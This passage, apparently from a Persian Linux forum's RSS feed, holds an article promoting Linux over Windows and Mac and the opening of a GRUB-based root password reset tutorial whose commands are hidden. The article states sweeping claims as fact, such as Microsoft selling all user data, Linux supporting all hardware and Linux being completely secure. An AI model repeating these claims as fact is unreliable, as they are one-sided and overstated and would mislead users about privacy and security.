سرانجام به قسمت آخر مقاله رسیدیم. جایی که شما برای مهاجرت به دنیای آزاد تصمیم‌گیری می‌کنید! اگر هنوز در مورد این سیستم عامل مردد هستید، ما برای شما یه راهکار ویژه را سراغ داریم. بسیاری از کاربران سیستم‌های کامپیوتری، چندین سال است که به ویندوز عادت کرده‌اند و دل کندن برای آن‌ها، کار بسیار دشواری شمرده می‌شود. لینوکس برای این دسته از افراد نیز پیشنهاد جالب توجهی دارد: چطور است که لینوکس را در کنار ویندوز نصب کنید؟! از میان موارد مطرح شده، به نظر می‌رسد که این مورد، یکی از مهم‌ترین آپشن‌های موجود درباره این سیستم عامل به شمار می‌رود.<br />
بوت دوگانه (Dual-Boot) لینوکس در کنار ویندوز، کار سختی نیست و به آسانی می‌توان لینوکس را در کنار ویندوز مورد استفاده قرار داد. انجام این کار، تنها با انتخاب یک چک‌باکس در حین نصب لینوکس میسر است! باید توجه داشت که عیب‌یابی، مدیریت و تقسیم وظایف بین دو سیستم عامل بر روی یک کامپیوتر، کار دشواری به شمار رفته و پیچیدگی‌های خاص خود را دارد. به عنوان مثال، ا جا به جایی دائم بین این دو سیستم عامل، هیچ‌گاه نمی‌توانید علاقه واقعی خود را پیدا کنید.<br />
<br />
گذشته از این‌ها، آیا نصب لینوکس در کنار ویندوز بهترین راهکار است؟<br />
اینطور به نظر می‌رسد! بررسی‌ها نشان داده بسیاری از افرادی که قصد مهاجرت به دنیای آزاد لینوکس را داشته‌اند، در ابتدا از قابلیت بوت دوگانه در کنار ویندوز استفاده کرده و پس از مدتی، مهاجرت خود به لینوکس را با حذف کامل ویندوز، رسمی ساخته‌اند!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">کلام آخر</span><br />
ما در این مقاله سعی کردیم شکه ما را در تصمیم‌گیری برای مهاجرت به این سیستم عامل راهنمایی کنیم. در واقعیت، نمی‌توان تمامی افراد را بر خلاف میل‌شان به یک سیستم عامل دیگر مجاب کرد. لینوکس یک سیستم عامل رایگان و منبع باز است که به لطف جدیدترین آپدیت‌ها، تقریبا تمامی نیازهای کاربر امروزی را تحت پوشش خود قرار می‌دهد. لینوکس را می‌توانید بر روی یک فلش مموری USB نصب و در همه جا آن را بوت کرده و از مزایای آن بهره ببرید. شما به آسانی می‌توانید توزیع دلخواه خود از لینوکس را به دوستان خود بدهید تا آن‌ها نیز بتوانند از تجربه این سیستم عامل لذت ببرند. در لینوکس و توزیع‌های آن، حفظ حریم خصوصی شما اهمیت ویژه‌ای دارد. حداقل اینکه با اجرای مرورگر وب، از عدم جاسوسی و ردیابی آن اطمینان کامل دارید!<br />
این روشی آزادانه در دنیای کامپیوتر به شمار می‌رود. بسیاری از کاربران ترجیح می‌دهند که در چنین محیطی فالیت‌های روزمره خود را انجام دهند. اگر شما هم فکر می‌کنید که برای مهجارت به لینوکس آمادگی دارید، شاید وقت آن باشد که توزیع دلخواه خود از لینوکس را دانلود و آن را امتحان کنید!<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">اگر به دنبال بهانه‌ای برای مهاجرت به دنیای آزاد هستید، ما را در معرفی 8 دلیل برای استفاده از لینوکس به جای سیستم عامل های ویندوز و مک همراهی کنید!<br />
<br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=3828" loading="lazy"  alt="[تصویر:  do.php?img=3828]" class="mycode_img" /></div>
<br />
<br />
منبع باز (Open Source) و رایگان (Free) بودن، دو اصطلاح رایجی‌ست که در مورد سیستم‌عامل‌های آزاد مطرح می‌شود. سیستم‌عامل‌های منبع باز و رایگان، کاربرد بسیار گسترده‌ای دارند و در عین حال، تجربه کار با آنان برای افراد بسیار لذت‌بخش است. اما با این‌حال، لینوکس را نمی‌توان از دسته سیستم‌عامل‌های محبوب به شمار آورد. بسیاری از کاربران سیستم‌های کامپیوتری، حتی از موجودیت دنیای آزاد بی‌اطلاع هستند و ناچارا در دام ویندوز گیر افتاده‌اند! در این مطلب سعی داریم شما را با دلایل استفاده از لینوکس به جای سیستم عامل های خانگی آشنا کنیم.<br />
<br />
سیستم‌عامل لینوکس در دهه اخیر توزیع‌های متنوعی را به چشم دیده است و همین امر سبب شده کاربرانی با نیازهای مختلف، انتخاب‌های بسیاری را داشته باشند. اگر شما هم به دنبال یک بهانه کوچک برای مهاجرت از ویندوز یا مک، به سیستم‌ عامل لینوکس هستید، در اینجا 8 دلیل برای استفاده از لینوکس در پیش روی‌تان خواهد بود.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1- علاقه به نرم افزار آزاد</span><br />
در مقاله 8 دلیل برای استفاده از لینوکس ، شما را برای مهاجرت از سیستم عامل فعلی، به لینوکس آماده می‌کنیم! مهم‌ترین شرط اساسی برای ورود به دنیای لینوکس این است که شما از مزیت‌های آن مطلع بوده و نسبت به تجربه آنان مشتاق باشید. بر اساس تعریف‌های استاندارد، نرم افزار آزاد نرم‌افزاری است که در آن، کاربر نرم‌افزار را کنترل می‌کند، نه نرم‌افزار کاربر را! اگر در حال حاضر از کاربران سیستم عامل ویندوز و یا مک هستید، باید بدانید که نرم افزارهای این سیستم‌عامل‌ها را «انحصاری» می‌نامند. در اینگونه برنامه‌ها، شما فقط و فقط یک کاربر هستید که کاربردهای تعریف شده از سوی توسعه دهنده را مورد استفاده قرار می‌دهید. در دنیای آزاد، هر نرم افزار باید دارای 4 ویژگی باشد که به شرح زیر هستند:<br />
<ul class="mycode_list"><li>آزادی در اجرای نرم افزار به هر منظوری<br />
</li>
<li>توانایی بررسی کد منبع نرم افزار و نحوه عملکرد آن<br />
</li>
<li>آزادی بازتوزیع نرم افزار برای کمک به جامعه نرم افزار آزاد<br />
</li>
<li>آزادی در تغییر نرم افزار و انتشار نسخه‌های بهبود یافته<br />
</li>
</ul>
این مقاله، شما را در انتخاب سیستم عامل دلخواهتان راهنمایی خواهد کرد. اکنون وقت آن است که برای مهاجرت به این سیستم‌عامل تصمیم‌گیری کنید! لینوکس دیگر همانند گذشته، محیطی مخصوص به برنامه نویسان و کاربران حرفه‌ای دنیای کامپیوتر نیست. توزیع‌های متعددی که از این سیستم‌ عامل ارائه شده است، تقریبا نیاز تمامی دسته‌های کاربران را تحت پوشش خود قرار می‌دهد. در نسخه‌های اخیر توزیع‌های لینوکس، همچنان امکان استفاده از خط فرمان وجود دارد، اما با توجه به رابط گرافیکی بی‌نقص این توزیع‌ها، به ندرت پیش می‌آید که اصلا به این دستورات نیازی داشته باشید!<br />
تنها کافی‌ست که مطابق با نیاز خود، یکی از توزیع‌های موجود را انتخاب و وارد دنیای نرم افزار آزاد شوید. امکان گشت و گذار آنلاین در فضای وب، بررسی و مدیریت ایمیل‌ها، وارد کردن تصاویر از دوربین‌های دیجیتال، گوش دادن به موسیقی دلخواه و … از جمله کاربردهایی هستند که استفاده از آنان هیچ تفاوتی با ویندوز یا مک ندارد. به همین سب، در صورتی که اشتیاق لازم برای تجربه یک دنیای کاملا متفاوت را در خود می‌بینید، احتمالا این 8 دلیل برای استفاده از لینوکس شما را برای این تصمیم‌گیری مهم آماده می‌سازد. شاید وقت آن رسیده که با سیستم عامل فعلی خود خداحافظی کنید!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">2- رایگان بودن لینوکس</span><br />
در دنیای امروز، کامپیوترها به یک پیش‌نیاز اساسی در مدارس و ادارات تبدیل شده‌اند. اولین سیستم کامپیوتری خود را به خاطر بیاورید! سیستمی که با اولین نگارش‌های سیستم عامل ویندوز عرضه شد و محدودیت‌های بسیاری داشت. حتی با برخوردار بودن از سیستم عامل ویندوز، هنوز هیچ یک از ابزارهای آفیس یا فتوشاپ برای آن منتشر نشده بودند. اگر در آن زمان، نرم افزار رایگان «اپن آفیس» (OpenOffice) نبود، بسیاری از فعالیت‌های مرتبط با آن باید به طور دستی انجام می‌گرفت. اپن آفیس یکی از نرم افزارهای آزاد بود که در آن زمان بسیاری از نیازهای کاربران سیستم‌های کامپیوتری را تحت پوشش خود را می‌داد. قابل توجه است که حتی در صورت عدم وجود ابزارهایی نظیر آفیس، جایگزین‌های آنان نیز به آسانی می‌توانند این نیاز کاربران را پوشش دهند.<br />
<br />
در دنیای لینوکس نیز وضعیت به همین ترتیب است. مخصوصا امروزه با توجه به پیشرفت چشم‌گیر توزیع‌های لینوکس، تقریبا تمامی نیازهای کاربر تحت پوشش قرار گرفته‌اند. واقعیت امر این است که همه ما از دوران کودکی و یا دوره تحصیلی خود، متناسب با محل زندگی‌مان به یکی از سیستم‌ عامل‌ها اعتیاد ذاتی پیدا کرده و از مهاجرت به سایر سیستم عامل ها می‌ترسیم!<br />
لینوکس یک سیستم عامل رایگان و منبع باز است که از تمامی سخت‌ افزارهای کامپیوتری پشتیبانی می‌کند. محدودیت‌های لینوکس در طی سال‌های اخیر بسیار کمتر از گذشته شده و ورود به دنیای آزاد، اضطراب سابق را ندارد. از این گذشته، دسترسی به مخازن نرم افزارها و ابزارهای کاربردی نیز قابلیت محبوبی است که بسیاری از کاربران فعلی دنیای لینوکس عاشق آن هستند.<br />
<br />
هزینه سیستم‌های کامپیوتری در طول دهه قبل تاکنون، کاهش چشم‌گیری داشته و کاربران می‌توانند با پرداخت هزینه‌های کمتر، سیستم‌هایی با قدرت بسیار بالاتر را تهیه کنند. در واقع به کمک کروم‌ بوک های گوگل، شما دیگر نیازی به پرداخت هزینه‌های گزاف برای تهیه یک سیستم کامپیوتری ندارید. کمپانی گوگل محصولاتی کم‌هزینه و در برخی موارد رایگان را تولید و عرضه می‌کند؛ چرا که درآمد اصلی این شرکت از تبلیغات است. گوگل و سرویس‌های آن، همواره فعالیت کاربر را در فضای اینترنت زیرنظر داشته و در حال داده‌کاوی هستند. از این جهت، بسیاری از کاربران اهمیت حریم خصوصی خود را در جایگاه بالاتری می‌بینند و دوست ندارند که فعالیت‌های آنان توسط یک کمپانی زیر ذره‌بین قرار داشته باشد.<br />
سیستم عامل لینوکس، محاسبات و کاربردهای مفید دنیای کامپیوتر را به شیوه‌ای مقرون به صرفه در دسترس قرار می‌دهد. ایده نرم افزار آزاد، به کاربران دنیای لینوکس این فرصت را می‌دهد که برای شرکت در توسعه و پیشرفت هرچه بیشتر سرویس‌های موجود، اشتیاق بیشتری داشته باشند. متاسفانه امروزه کاربردهای سیستم‌ عامل لینوکس برای بسیاری از افراد ناشناخته است. به همین دلیل سعی داریم که در مقاله 8 دلیل برای استفاده از لینوکس ، شما را با قابلیت‌های مفیدی آشنا کنیم که شاید برای مهاجرت به آن، تصمیمی جدی بگیرید!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3- احساس احترام</span><br />
نرم افزارهای تجاری به عنوان یک محصول شناخته می‌شوند. فرآیند کاری نیز بسیار ساده است! فردی یک نرم افزار را تولید می‌کند. کاربران در صورت تمایل آن را خریداری کرده و از مزایای آن بهرمند می‌شوند. در صورتی که این محصول قادر به پاسخ‌گویی نیازهای آنان نباشد، تنها کافیست گزینه‌های دیگری را خریداری کرده و برای این نیاز مورد آزمایش قرار دهد. اما اگر بخواهیم از نگاهی واقع‌گرایانه به یک نرم افزار نگاه کنیم، نرم افزارها را نمی‌توان همچون یک کالای فیزیکی به شمار آورد. یک اپلیکیشن ممکن است همچون یک محصول تولیدی باشد، اما در واقعیت شما تنها با مجموعه‌ای از کدها سر و کار دارید. این کدها، شامل دستوراتی برای اجرای فعالیت‌ها در دنیای کامپیوتری هستند. ما کاربران بدون آنکه کدهای نوشته شده در سروس منبع را بدانیم، نمی‌توانیم از شیوه کارکرد آن اطلاع پیدا کنیم. این امر سبب می‌شود که در دنیای ویندوز یا مک، کاربر دقیقا نداند که در حال خرید چه چیزی است! حتی او نمی‌داند که چه چیزی را بر روی سیستم خود نصب می‌کند. در واقع، شما محکوم می‌شوید که به سازنده نرم افزار اعتماد کرده و دستورات تعریف شده توسط او را در سیستم شخصی‌تان به اجرا درآورید. نرم افزارهای موجود در سیستم‌ عامل‌های مک و ویندوز، در اکثر موارد همچون یک هندوانه در بسته هستند! با نصب یک نرم افزار، شما می‌توانید راه را برای جاسوسی از اطلاعات شخصی‌تان باز کنید و یا اینکه حریم خصوصی خود را در معرض خطر قرار دهید.<br />
<br />
توسعه‌دهندگانی که نرم افزارهای آزاد را تولید می‌کنند، سورس کد مربوط به محصول تولیدی را نیز در کنار آن منتشر می‌کنند تا هر فردی قادر باشد از شیوه اجرای دستورات به طور کامل و دقیق اطمینان حاصل کند. در واقع می‌توان گفت که در دنیای لینوکس، ما دقیقا می‌دانیم که چه چیزی را بر روی سیستم نصب می‌کنیم و علاوه بر آن، می‌توانیم تغییرات دلخواه خود را نیز بر روی آن اعمال کنیم تا به یک ابزار کاملا شخصی‌سازی شده تبدیل شود. این درست به معنای مالکیت واقعی بر نرم افزارها در دنیای لینوکس است!<br />
<br />
نرم افزارهای تجاری، معمولا با محدودیت‌های بسیاری همراه هستند. شما نمی‌توانید یک نسخه کپی از آنان را به دوست خود بدهید و یا حتی اجازه ندارید که آن را هم بر روی کامپیوتر دسکتاپ و هم لپ تاپ خود نصب کنید! در واقع شما فقط یک حق انتخاب دارید و در دنیای آزاردهنده ویندوز و مک، شدیدا با این مسئله دست و پنجه نرم خواهید کرد. هیچ چیزی در مورد نرم افزارهای نصب شده بر روی سیستم شما مشخص نیست، تنها کاری که باید انجام دهید این است که به توسعه دهنده آن اعتماد کنید! اما آیا این کار در مورد تمامی محصولات نرم افزاری در ویندوز شدنی است؟<br />
<br />
<span style="font-weight: bold;" class="mycode_b">4- قابل اطمینان بودن</span><br />
آیا به کامپیوتر خود اعتماد دارید؟ <br />
دنیای ویندوز آن‌چنان هم که به نظر می‌رسد قابل اعتماد نیست! آن‌ها همه فعالیت شما در کامپیوترهای شخصی را زیر نظر دارند! تمامی اطلاعات شما با هدف داده‌کاوی به سایر کمپانی‌ها فروخته می‌شود؛ بی‌آنکه از شما کسب اجازه شده باشد! هرکسی می‌تواند سرورهای آنان را هک کرده و داده‌های شما را به دست آورد.<br />
<br />
شاید در نگاه اول، جملات بالا برایتان عجیب و یا حتی ترسناک باشد. در ابتدا ممکن است با خود بگویید که این‌ها ناشی از حساسیت بیش از اندازه بوده و یا اینکه دروغ محض هستند. اما اگر فقط اندکی با سرویس‌های ایمیل، شبکه‌های اجتماعی و … آشنایی داشته باشید، احتمالا تاکنون خودتان متوجه این امر شده‌اید. شبکه‌های اجتماعی دائما در حال جمع‌آوری اطلاعات کاربران هستند. در هنگام ثبت نام در این سرویس‌ها، شما مشخصات کامل خود را در اختیار یک سرور کامپیوتری قرار می‌دهید. سرنوشت داده‌های شما بعد از ثبت نام مشخص نیست؛ اما آیا تا به حال به این فکر کرده‌اید که شبکه‌های اجتماعی چگونه تا این اندازه هوشمند و پیچیده شده‌اند؟ به چه علت شبکه اجتماعی اینستاگرام، می‌تواند علاقه‌مندی‌های شما را تشخیص دهد و تصاویری مرتبط با سلایق شما را در قسمت اکسپلور (Explore) را نمایش دهد و یا نزدیکان شما را به صورت خودکار برای فالو (Follow) کردن پیشنهاد کند؟ این‌ها به خودی خود، نشان‌دهنده جمع‌آوری هوشمندانه داده‌های شما برای ساخت سیستم‌هایی پیشرفته در آینده هستند. هوش مصنوعی چنین شبکه‌هایی، بر مبنای اطلاعاتی که شما به آن می‌دهید عمل می‌کند. از این جهت، ارزش داده‌های خود را به هیچ وجه دست کم نگیرید!<br />
<br />
رسانه‌های جمعی و کمپانی‌های فعال در دنیای وب، همواره ما را از خطرات هک سیستم‌های کامپیوتری و حملات سایبری آگاه می‌سازند. اما هیچ کسی در مورد جاسوسی اطلاعات ما توسط کمپانی‌های فیسبوک، گوگل و … نمی‌گوید! در دنیای واقعی، اگر فردی از اسناد و هویت ما به صورت فیزیکی استفاده کند، سریعا قانون وارد عمل شده و شخص متخلف را مجرم می‌خواند. اما چرا این ملاحظات در مورد فضای آنلاین صورت نمی‌گیرد؟<br />
سیستم عامل ویندوز 10 (Windows 10)، بمب جاسوسی دنیای سیستم‌ عامل ویندوز بود! امروزه بسیاری از کاربران از جاسوسی گسترده مایکروسافت در این سیستم‌ عامل مطلع هستند. هرزگاهی نیز می‌خوانیم که شرکت‌های بزرگ ادعا می‌کنند که این کار صرفا با هدف شناخت دقیق نیازهای کاربر انجام می‌شود. اما واقعیت امر این است که مایکروسافت از بی‌اطلاعی کاربران خود از پشت پرده این سیستم عامل، سوء استفاده کرده و داده‌های شخصی آن را دائما تحت نظارت قرار داده است. گول ظاهر این سیستم عامل را نخورید! در پشت پرده اتفاقات ناشناخته‌ای در حال وقوع هستند که روح‌تان هم از آن بی‌خبر است! شاید حالا که از این واقعیت‌ها اطلاع دارید، بسیار خشمگین هستید؛ ولی هیچ چیزی قادر به تغییر این واقعیت نیست! در هنگام نصب سیستم عامل ویندوز و یا نرم افزارهای آن، همواره قسمتی وجود دارد که شما باید یک توافقنامه را خوانده و سپس آن را تایید کنید. بسیاری از ما، این قسمت را نخوانده می‌پذیریم؛ غافل از اینکه مایکروسافت و سایر کمپانی‌ها، برای تمامی این جاسوسی‌ها از ما کسب اجازه هم کرده‌اند!<br />
<br />
ما نمی‌توانیم به اپل و مایکروسافت بگوییم که جاسوسی از اطلاعات ما و فروش آن به دیگر شرکت‌ها را متوقف کند. حداقل کاری که می‌توان انجام داد این است که یک بار برای همیشه، از این سیستم‌ عامل‌ها خداحافظی کنیم! همین حالا تصمیم بگیرید که به دنیای نرم افزار آزاد و سیستم عامل امن لینوکس مهاجرت کنید. یک بار برای همیشه، فعالیت‌های خود را در سیستمی کاملا امن انجام دهید؛ کامپیوتری که حریم خصوصی شما در آن نقض نشده و تمامی داده‌ها در نهایت امنیت به سر می‌برند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">5- تنوع برنامه‌ها</span><br />
از میان این دلایل، حداقل یک یا دو مورد از آن احتمالا شما را برای مهاجرت به این سیستم‌عامل قانع خواهد کرد. یکی از مهم‌ترین انتقادهای مربوط به دنیای لینوکس، کمبود برنامه‌های خاص است. آیا لینوکس از نصب نرم افزار پشتیبانی می‌کند؟<br />
<br />
حتما! دنیای لینوکس، سرشار از برنامه‌های کاربردی است و شما کاربران متناسب با نیاز خود، چندین حق انتخاب را خواهید داشت. ولی نکته‌ای که باید به آن توجه داشت این است که لینوکس، فاقد نرم افزارهای تجاری و انحصاری است که برای ویندوز یا مک تولید می‌شوند. اگر شما نیز وابستگی بسیاری به این نرم افزارها دارید، احتمالا یکی از اصلی ترین چالش‌ها برای مهاجرت به لینوکس را این مورد می‌دانید. بسیاری از کاربران دنیای ویندوز، استفاده از مجموعه گران‌قیمت مایکروسافت آفیس را کنار گذاشته و از نرم افزار رایگانی همچون لیبر آفیس (LibreOffice) استفاده می‌کنند. ویژگی‌های موجود در آفیس‌های رایگان، تا حد بسیاری با محصولات مایکروسافت آفیس مطابقت دارند و از این نظر، مهاجرت به لینوکس برایتان چالش چندان مهمی نخواهد بود. از میان موارد مطرح شده، چالش برنامه‌ها یکی از مهم‌ترین تصمیم‌گیری‌های کاربران به شمار می‌رود.<br />
علاقه‌مندان به دنیای تکنولوژی، دوست دارند که تمامی پلتفرم‌های موجود در دسکتاپ یا موبایل را امتحان کنند تا از مزایا و معایب هریک از آنان مطلع شوند. ولی همواره باید به خاطر داشت که انتخاب یک سیستم‌ عامل، بر اساس سلیقه شخصی انجام می‌گیرد و هر فرد با توجه به نیازهای خود، یکی را به دیگری ترجیح می‌دهد. در اینجا ما نمی‌خواهیم که از نقاط قوت و ضعف سیستم‌ عامل‌ها بگوییم؛ به جای آن در مقاله 9 دلیل برای استفاده از لینوکس به جای ویندوز و مک، سعی کرده‌ایم که شما را در استفاده از لینوکس کمک کنیم.<br />
در دنیای لینوکس، هیچ خبری از نرم افزارهای تجاری نیست و نرم افزارهای آزاد قادرند تمامی نیازهای شما را تحت پوشش قرار دهند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">6- لینوکس اینجا، آنجا، همه‌جا!</span><br />
اگر هنوز هم تصمیم خود را نگرفته‌اید، باید بگوییم که بهتر است یک بار دیگر در نیازهای خود در دنیای کامپیوتر نگاهی اجتمالی داشته باشید. نیاز شما در کامپیوتر چیست؟<br />
<br />
شاید تمامی نیازهای شما به شکل بهتر و روان‌تری در لینوکس قابل اجرا باشند؛ پس بهتر است که نیازهای خود را به خوبی بشناسید. لینوکس را در همه سخت‌ افزارها می‌توان اجرا کرد. البته باید توجه داشت که در برخی موارد نیز بهتر است که برای انتخاب آن، اندکی صبر پیشه کنید. به عنوان مثال، نصب لینوکس بر روی یک سیستم کامپیوتری قدرتمند و کاملا جددید، می‌تواند شما را با در بسته مواجه کند؛ چرا که هنوز ممکن است درایورهای مربوط به این سخت افزار برای لینوکس آماده نشده باشد.<br />
در مقابل، نصب سیستم عامل لینوکس بر روی یک کامپیوتر قدیمی هیچ مشکلی را برای استفاده کاربر ایجاد نخواهد کرد؛ چرا که تاکنون تمامی درایورهای موجود برای سخت افزارها به روز رسانی شده و قطعات سیستم به راحتی شناسایی می‌شوند. یکی دیگر از ویژگی‌های مهم در مورد توزیع‌های لینوکس این است که به منظور افزایش پایداری سیستم عامل و بهبود عملکرد قطعات سخت افزاری، همواره باید آپدیت‌های آن را بر روی سیستم نصب کنید. این موضوع، حتی از لحاظ امنیتی نیز از سوی کارشناسان توصیه شده و متاسفانه بسیاری از کاربران سیستم عامل ویندوز از انجام این کار خودداری کرده و سیستم خود را در معرض انواع خطرات جدی قرار می‌دهند.<br />
از میان موارد مطرح شده در مقاله 8 دلیل برای استفاده از لینوکس به جای سایر سیستم عامل‌ها، ممکن است سازگاری لینوکس با گوشی‌های موبایل، توجه شما را بیشتر از بقیه موارد جلب کند! لینوکس منحصر به کامپیوترهای دسکتاپ یا لپ تاپ نیست؛ در واقع بخش بزرگی از بازار اسمارت فون های امروزی، به دنیای لینوکس تعلق دارد. اندروید به عنوان سیستم عامل ارائه شده توسط گوگل نیز بر مبنای لینوکس است؛ هر چند با توزیع های رایج لینوکس تفاوت بسیاری دارد. ولی از میان گزینه‌های موجود، اسمارت فون هایی نیز وجود دارند که می‌توان توزیع های لینوکس را به راحتی بر روی آنان نصب کرد.<br />
لینوکس انعطاف‌پذیری بسیاری دارد. به عنوان مثال، بردهای رزبری پای (Raspberry Pi) به طور کامل از لینوکس پشتیبانی می‌کنند و بسیاری از مراکز آموزشی، کارگاه‌های متعددی را در این باره تشکیل داده‌اند. با توجه به این موارد، می‌توان گفت که لینوکس بر روی تمامی سخت‌ افزارهای موجود قابل نصب است. هیچ برنامه‌ای قصد جاسوسی از اطلاعات شما را ندارد و حریم خصوصی شما در این سیستم‌ عامل، به طور کامل حفظ خواهد شد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">7- لینوکس، دنیای رایگان</span><br />
پیشنهاد سیستم عامل ویندوز به دیگران، همانند بازاریابی رایگان برای کمپانی ثروتمندی همچون مایکروسافت است. همین مسئله، در مورد مک و کروم هم صدق می‌کند. با این کار، شما علاوه بر آنکه دیگران را در تصمیم‌گیری برای انتخاب سیستم عامل مورد نظر خود راهنمایی می‌کنید، سهم غول‌های دنیای تکنولوژی را نیز در بازار افزایش می‌دهید.<br />
لینوکس به هیچ شرکتی تعلق ندارد. البته نصب و استفاده از یک نسخه خاص، ممکن است برای کمپانی کانونیکال (Canonical) سودآور باشد، اما هیچ کاربری مجبور به پرداخت هزینه نیست و و درآمد مذکور، صرفا به صورت غیرمستقیم به این کمپانی می‌رسد. ممکن است فردی شما را به استفاده از توزیع Red Hat Enterprise تشویق کند، این در حالی است که تمامی مزایای مورد انتظار شما به صورت رایگان نیز در توزیع CentOS در دسترس هستند. حتی اگر شرکت‌های کانونیکال یا رد هت، به طور شبانه ناپدید شوند، لینوکس به پایان نمی‌رسد؛ زیرا جامعه‌ای قدرتمند از توسعه‌دهندگان همواره به پشتیبانی آن ادامه خواهند داد. لینوکس یک اکوسیستم بسیار بزرگ است که کاربردهای دنیای کامپیوتر را به شیوه‌ای در اختیار کاربران قرار می‌دهد که هیچ سازمان دیگری قادر به انجام آن نیست.<br />
البته باید توجه داشت که آزادی‌های بسیار لینوکس، اعتراض بسیاری از شرکت‌ها را نیز در پی دارد. اما موفقیت‌های این سیستم عامل، فراتر از این است که با چنین رفتارهایی آسیب ببیند. آزاد بودن کامل سیستم عامل و امکان دسترسی به تمامی کدهای منبع، از جمله مواردی هستند که افراد را عاشق این سیستم عامل می‌کنند.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">8- نصب لینوکس در کنار ویندوز</span><br />
سرانجام به قسمت آخر مقاله رسیدیم. جایی که شما برای مهاجرت به دنیای آزاد تصمیم‌گیری می‌کنید! اگر هنوز در مورد این سیستم عامل مردد هستید، ما برای شما یه راهکار ویژه را سراغ داریم. بسیاری از کاربران سیستم‌های کامپیوتری، چندین سال است که به ویندوز عادت کرده‌اند و دل کندن برای آن‌ها، کار بسیار دشواری شمرده می‌شود. لینوکس برای این دسته از افراد نیز پیشنهاد جالب توجهی دارد: چطور است که لینوکس را در کنار ویندوز نصب کنید؟! از میان موارد مطرح شده، به نظر می‌رسد که این مورد، یکی از مهم‌ترین آپشن‌های موجود درباره این سیستم عامل به شمار می‌رود.<br />
بوت دوگانه (Dual-Boot) لینوکس در کنار ویندوز، کار سختی نیست و به آسانی می‌توان لینوکس را در کنار ویندوز مورد استفاده قرار داد. انجام این کار، تنها با انتخاب یک چک‌باکس در حین نصب لینوکس میسر است! باید توجه داشت که عیب‌یابی، مدیریت و تقسیم وظایف بین دو سیستم عامل بر روی یک کامپیوتر، کار دشواری به شمار رفته و پیچیدگی‌های خاص خود را دارد. به عنوان مثال، ا جا به جایی دائم بین این دو سیستم عامل، هیچ‌گاه نمی‌توانید علاقه واقعی خود را پیدا کنید.<br />
<br />
گذشته از این‌ها، آیا نصب لینوکس در کنار ویندوز بهترین راهکار است؟<br />
اینطور به نظر می‌رسد! بررسی‌ها نشان داده بسیاری از افرادی که قصد مهاجرت به دنیای آزاد لینوکس را داشته‌اند، در ابتدا از قابلیت بوت دوگانه در کنار ویندوز استفاده کرده و پس از مدتی، مهاجرت خود به لینوکس را با حذف کامل ویندوز، رسمی ساخته‌اند!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">کلام آخر</span><br />
ما در این مقاله سعی کردیم شکه ما را در تصمیم‌گیری برای مهاجرت به این سیستم عامل راهنمایی کنیم. در واقعیت، نمی‌توان تمامی افراد را بر خلاف میل‌شان به یک سیستم عامل دیگر مجاب کرد. لینوکس یک سیستم عامل رایگان و منبع باز است که به لطف جدیدترین آپدیت‌ها، تقریبا تمامی نیازهای کاربر امروزی را تحت پوشش خود قرار می‌دهد. لینوکس را می‌توانید بر روی یک فلش مموری USB نصب و در همه جا آن را بوت کرده و از مزایای آن بهره ببرید. شما به آسانی می‌توانید توزیع دلخواه خود از لینوکس را به دوستان خود بدهید تا آن‌ها نیز بتوانند از تجربه این سیستم عامل لذت ببرند. در لینوکس و توزیع‌های آن، حفظ حریم خصوصی شما اهمیت ویژه‌ای دارد. حداقل اینکه با اجرای مرورگر وب، از عدم جاسوسی و ردیابی آن اطمینان کامل دارید!<br />
این روشی آزادانه در دنیای کامپیوتر به شمار می‌رود. بسیاری از کاربران ترجیح می‌دهند که در چنین محیطی فالیت‌های روزمره خود را انجام دهند. اگر شما هم فکر می‌کنید که برای مهجارت به لینوکس آمادگی دارید، شاید وقت آن باشد که توزیع دلخواه خود از لینوکس را دانلود و آن را امتحان کنید!<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[بازیابی رمز روت لینوکس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=2994</link>
			<pubDate>Mon, 05 Jun 2017 23:54:07 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=2994</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">شاید تا به حال برایتان پیش آمده باشد که کلمه عبور کاربر ریشه یا همان root را فراموش کرده باشید. در این آموزش به نحوه چگونگی ریست نمودن رمز عبور خواهیم پرداخت.<br />
<br />
 <span style="font-style: italic;" class="mycode_i">از آنجایی که اکثر توزیع‌های مدرن از Grub Version 2 استفاده می‌کنند در این آموزش هم فرض بر این است که Boot Loader سیستم شما نسخه دوم Grub است.<br />
</span><ul class="mycode_list"><li>سیستم خود را restart کنید تا وارد صفحه اصلی Boot Loader یا همان Grub بشوید.<br />
</li>
<li>سپس در صفحه انتخاب سیستم عامل، لینوکس مورد نظر را انتخاب کنید و دکمه e را فشار دهید.<br />
</li>
<li>پس از فشردن دکمه e وارد یک محیط ویرایشگر متنی می‌شوید که می‌توانید تنظیمات مربوط به Boot نمودن لینوکس را مشاهده و تغییر دهید.<br />
</li>
<li>به کمک دکمه‌های مکان‌نما به خطی که با عبارت زیر شروع می‌شود بروید.<br />
</li>
</ul>
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>خط زیر را به انتهای این خط اضافه نمایید.<br />
</li>
</ul>
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<ul class="mycode_list"><li>دکمه F10  و یا   Ctrl+X را فشار دهید تا لینوکس با تنظیمات داده شده بوت شود.<br />
</li>
</ul>
